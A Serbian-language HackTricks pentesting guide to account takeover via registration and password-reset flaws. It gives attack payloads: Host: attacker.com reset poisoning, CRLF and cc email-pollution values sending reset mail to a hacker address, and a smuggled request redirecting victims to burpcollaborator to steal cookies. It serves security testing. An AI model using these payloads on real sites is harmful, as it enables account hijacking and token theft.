hacktricks/pentesting-web/registration-vulnerabilities.md

11 KiB

Registracija i Preuzimanje Ranljivosti

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks
{% endhint %}

WhiteIntel

WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti kompromitovani od strane malvera za krađu podataka.

Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera za krađu informacija.

Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:

{% embed url="https://whiteintel.io" %}


Preuzimanje Registracije

Dupla Registracija

  • Pokušajte da generišete koristeći postojeće korisničko ime
  • Proverite varijacije email-a:
  • velika slova
  • +1@
  • dodajte tačku u email
  • specijalni karakteri u imenu email-a (%00, %09, %20)
  • Stavite crne karaktere posle email-a: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Enumeracija Korisničkog Imena

Proverite da li možete da otkrijete kada je korisničko ime već registrovano unutar aplikacije.

Politika Lozinki

Kada kreirate korisnika, proverite politiku lozinki (proverite da li možete koristiti slabe lozinke).
U tom slučaju možete pokušati da bruteforce-ujete akreditive.

SQL Injekcija

Proverite ovu stranicu da biste naučili kako da pokušate preuzimanje naloga ili izvučete informacije putem SQL Injekcija u registracionim formama.

Oauth Preuzimanja

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML Ranljivosti

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

Promena Email-a

Kada se registrujete, pokušajte da promenite email i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne email adrese.

Dodatne Provere

  • Proverite da li možete koristiti disposable email adrese
  • Duga lozinka (>200) dovodi do DoS
  • Proverite ograničenja brzine prilikom kreiranja naloga
  • Koristite username@burp_collab.net i analizirajte callback

Preuzimanje Lozinke Reset

Curjenje Tokena za Reset Lozinke putem Referrera

  1. Zatražite reset lozinke na vašu email adresu
  2. Kliknite na link za reset lozinke
  3. Ne menjajte lozinku
  4. Kliknite na bilo koje 3rd party veb stranice (npr: Facebook, Twitter)
  5. Presretnite zahtev u Burp Suite proxy
  6. Proverite da li referer header curi token za reset lozinke.

Trovanje Reset Lozinke

  1. Presretnite zahtev za reset lozinke u Burp Suite
  2. Dodajte ili izmenite sledeće heder-e u Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Prosledite zahtev sa izmenjenim heder-om
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Potražite URL za reset lozinke na osnovu host header-a kao što je: https://attacker.com/reset-password.php?token=TOKEN

Reset Lozinke putem Email Parametra

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR na API parametrima

  1. Napadač mora da se prijavi sa svojim nalogom i ode na funkciju Promena lozinke.
  2. Pokrenite Burp Suite i presretnite zahtev.
  3. Pošaljite ga na repeater tab i izmenite parametre: ID korisnika/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Slab token za resetovanje lozinke

Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put.
Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generacije je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma.

  • Vreme
  • ID korisnika
  • Email korisnika
  • Ime i prezime
  • Datum rođenja
  • Kriptografija
  • Samo brojevi
  • Mala sekvenca tokena (karakteri između [A-Z,a-z,0-9])
  • Ponovna upotreba tokena
  • Datum isteka tokena

Curjenje tokena za resetovanje lozinke

  1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za specifičan email npr: test@mail.com
  2. Istražite odgovor servera i proverite za resetToken
  3. Zatim koristite token u URL-u kao https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetovanje lozinke putem kolizije korisničkog imena

  1. Registrujte se na sistem sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr: "admin "
  2. Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom.
  3. Iskoristite token poslat na vaš email i resetujte lozinku žrtve.
  4. Prijavite se na nalog žrtve sa novom lozinkom.

Platforma CTFd je bila ranjiva na ovaj napad.
Pogledajte: CVE-2020-7245

Preuzimanje naloga putem Cross Site Scripting-a

  1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na roditeljski domen: *.domain.com
  2. Icurite trenutni kolačić sesije
  3. Autentifikujte se kao korisnik koristeći kolačić

Preuzimanje naloga putem HTTP Request Smuggling-a

1. Koristite smuggler da detektujete tip HTTP Request Smuggling-a (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Kreirajte zahtev koji će prepisati POST / HTTP/1.1 sa sledećim podacima:
GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem da otvorite preusmeravanje žrtava na burpcollab i ukradete njihove kolačiće
3. Finalni zahtev može izgledati ovako

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone izveštaji o eksploataciji ovog buga
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

Preuzimanje naloga putem CSRF

  1. Kreirajte payload za CSRF, npr: “HTML forma sa automatskim slanjem za promenu lozinke”
  2. Pošaljite payload

Preuzimanje naloga putem JWT

JSON Web Token može se koristiti za autentifikaciju korisnika.

  • Izmenite JWT sa drugim ID-jem korisnika / Email-om
  • Proverite slab JWT potpis

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

Reference

WhiteIntel

WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili kompromitovani od strane malvera za krađu podataka.

Njihov primarni cilj je borba protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera za krađu informacija.

Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks
{% endhint %}